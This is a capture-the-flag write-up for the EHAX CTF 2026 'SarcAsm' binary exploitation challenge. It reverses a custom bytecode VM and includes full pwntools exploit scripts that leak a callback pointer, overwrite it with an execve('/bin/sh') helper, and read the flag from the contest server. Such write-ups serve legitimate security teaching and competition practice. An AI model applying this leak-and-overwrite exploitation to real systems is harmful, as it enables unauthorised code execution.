822 words
4 minutes
EHAX CTF 2026 - SarcAsm - Binary Exploitation Writeup

Category: Binary Exploitation

Flag: EH4X{l00ks_l1k3_1_n33d_4_s4rc4st1c_tut0r14l}

Challenge Description#

Unsarcastically, introducing the best asm in market: SarcAsm

Analysis#

The handout was a VM challenge bundle (sarcasm, custom libc.so.6, and loader), so I treated it like parser/bytecode pwn instead of classic stack ROP. The protection profile on the host binary is very hardened (PIE, canary, full RELRO, NX, SHSTK/IBT), which strongly suggested the intended path would be logic/VM memory corruption rather than native return-address control.

file "/home/LIGHT/sarcasm/handout/sarcasm"
checksec "/home/LIGHT/sarcasm/handout/sarcasm"
/home/LIGHT/sarcasm/handout/sarcasm: ELF 64-bit LSB pie executable, x86-64, ... stripped
[*] '/home/LIGHT/sarcasm/handout/sarcasm'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled

The key click came from reversing the VM metadata and dispatch tables. BUILTIN and CALL are real VM opcodes (0x40 and 0x41), and their object type is callable object type 3. That meant I should target object internals used by CALL, not native ELF control flow.

parse_vm_meta.py
from pathlib import Path
import struct
p = Path('/home/LIGHT/sarcasm/handout/sarcasm').read_bytes()
base_fo = 0x8A80
ro_va = 0x7000
def read_cstr(va: int) -> str:
out = []
idx = va - ro_va
while idx < len(p) and p[idx] != 0:
out.append(chr(p[idx]))
idx += 1
return ''.join(out)
for i in range(0x19):
rec = p[base_fo + i * 0x18 : base_fo + i * 0x18 + 0x18]
name_ptr = struct.unpack_from('<Q', rec, 0)[0]
opcode = struct.unpack_from('<I', rec, 8)[0]
if i in (19, 20):
print(i, hex(opcode), read_cstr(name_ptr))
19 0x140 BUILTIN
20 0x141 CALL

Then I confirmed the builtin function-pointer table in .data.rel.ro: builtin id 0 points to 0x31d0 and builtin id 1 points to 0x2ee0.

objdump -s --start-address=0x9a50 --stop-address=0x9ac0 "/home/LIGHT/sarcasm/handout/sarcasm"
Contents of section .data.rel.ro:
9a60 d0310000 00000000 01000000 00000000 .1.............
9a70 e02e0000 00000000 00000000 00000000 ................

The winning target was nearby in the same PIE image: 0x3000 is a tiny helper that does execve("/bin/sh", ...) and exits. So a partial pointer rewrite from builtin-1 callback (0x2ee0) to shell helper (0x3000) is enough to get code execution.

objdump -M intel --start-address=0x3000 --stop-address=0x3050 -d "/home/LIGHT/sarcasm/handout/sarcasm"
0000000000003000 <.text+0xc00>:
3000: ...
301b: 48 b8 2f 62 69 6e 2f 73 68 00 movabs rax,0x68732f6e69622f
...
303d: e8 ce f2 ff ff call 2310 <execve@plt>

At that point, the exploit strategy became a two-stage VM payload: first leak 8 bytes from the builtin object (so PIE can be derived reliably under ASLR), then write back the forged callback pointer and trigger CALL 0 to jump into execve("/bin/sh"). Local validation showed the chain was correct and stable enough to run commands from the spawned shell.

smug

local_verify.py
from pwn import process, p32, p64, u64
code = bytes.fromhex(
'20 20 02 22 00 00 04 60 40 01 03 02 31 00 25 08 '
'00 30 00 23 30 00 25 00 08 41 00 ff'
)
io = process([
'/home/LIGHT/sarcasm/handout/ld-linux-x86-64.so.2',
'--library-path',
'/home/LIGHT/sarcasm/handout',
'/home/LIGHT/sarcasm/handout/sarcasm',
])
io.send(p32(len(code)) + code)
leak = io.recvn(8, timeout=2)
ptr = u64(leak)
base = ptr - 0x2EE0
target = base + 0x3000
io.send(p64(target))
io.sendline(b'echo LOCAL_OK')
io.sendline(b'exit')
out = io.recvall(timeout=2)
print('leak', hex(ptr))
print(out.decode(errors='ignore'))
leak 0x7f41d1a1cee0
LOCAL_OK

Remote service behavior was noisy (some connections returned no leak bytes), so I wrapped the same primitive in retry logic. Once a full 8-byte leak landed, the overwrite/trigger path worked immediately and the shell output contained the real flag.

dance

remote_retry.py
import re
import time
from pwn import remote, p32, p64, u64
HOST = 'chall.ehax.in'
PORT = 9999
code = bytes.fromhex(
'20 20 02 22 00 00 04 60 40 01 03 02 31 00 25 08 '
'00 30 00 23 30 00 25 00 08 41 00 ff'
)
for i in range(1, 21):
try:
io = remote(HOST, PORT, timeout=8)
except Exception:
continue
try:
io.send(p32(len(code)) + code)
leak = io.recvn(8, timeout=8)
if len(leak) != 8:
io.close()
continue
ptr = u64(leak)
base = ptr - 0x2EE0
target = base + 0x3000
io.send(p64(target))
io.sendline(b'echo START')
io.sendline(b'cat flag.txt')
io.sendline(b'cat /flag')
io.sendline(b'cat /flag.txt')
io.sendline(b'exit')
out = io.recvall(timeout=6).decode(errors='ignore')
print(i, 'leaklen', len(leak), leak.hex())
print(out)
m = re.search(r'[A-Za-z0-9_]+\{[^}\n]+\}', out)
if m:
print('FLAG', m.group(0))
break
finally:
try:
io.close()
except Exception:
pass
time.sleep(0.3)
9 leaklen 8 e08edfd60b580000
START
EH4X{l00ks_l1k3_1_n33d_4_s4rc4st1c_tut0r14l}
FLAG EH4X{l00ks_l1k3_1_n33d_4_s4rc4st1c_tut0r14l}

Solution#

solve.py
import re
import time
from pwn import remote, p32, p64, u64
HOST = "chall.ehax.in"
PORT = 9999
# VM program:
# 1) create stale callable object and leak 8-byte builtin callback pointer
# 2) overwrite callback with execve('/bin/sh') helper address
# 3) CALL 0 to execute shell helper
CODE = bytes.fromhex(
"20 20 02 22 00 00 04 60 40 01 03 02 31 00 25 08 "
"00 30 00 23 30 00 25 00 08 41 00 ff"
)
def try_once() -> str | None:
io = remote(HOST, PORT, timeout=8)
io.send(p32(len(CODE)) + CODE)
leak = io.recvn(8, timeout=8)
if len(leak) != 8:
io.close()
return None
leaked_ptr = u64(leak)
pie_base = leaked_ptr - 0x2EE0
shell_helper = pie_base + 0x3000
io.send(p64(shell_helper))
io.sendline(b"echo START")
io.sendline(b"cat flag.txt")
io.sendline(b"cat /flag")
io.sendline(b"cat /flag.txt")
io.sendline(b"exit")
out = io.recvall(timeout=6).decode(errors="ignore")
io.close()
m = re.search(r"[A-Za-z0-9_]+\{[^}\n]+\}", out)
return m.group(0) if m else None
def main() -> None:
for _ in range(20):
flag = try_once()
if flag:
print(flag)
return
time.sleep(0.3)
raise RuntimeError("flag not recovered in retry window")
if __name__ == "__main__":
main()
python3.12 solve.py
EH4X{l00ks_l1k3_1_n33d_4_s4rc4st1c_tut0r14l}
EHAX CTF 2026 - SarcAsm - Binary Exploitation Writeup
https://fuwari.vercel.app/posts/67/ehax-ctf-2026-sarcasm-binary-exploitation-writeup/
Author
Light
Published at
2026-03-01
License
CC BY-NC-SA 4.0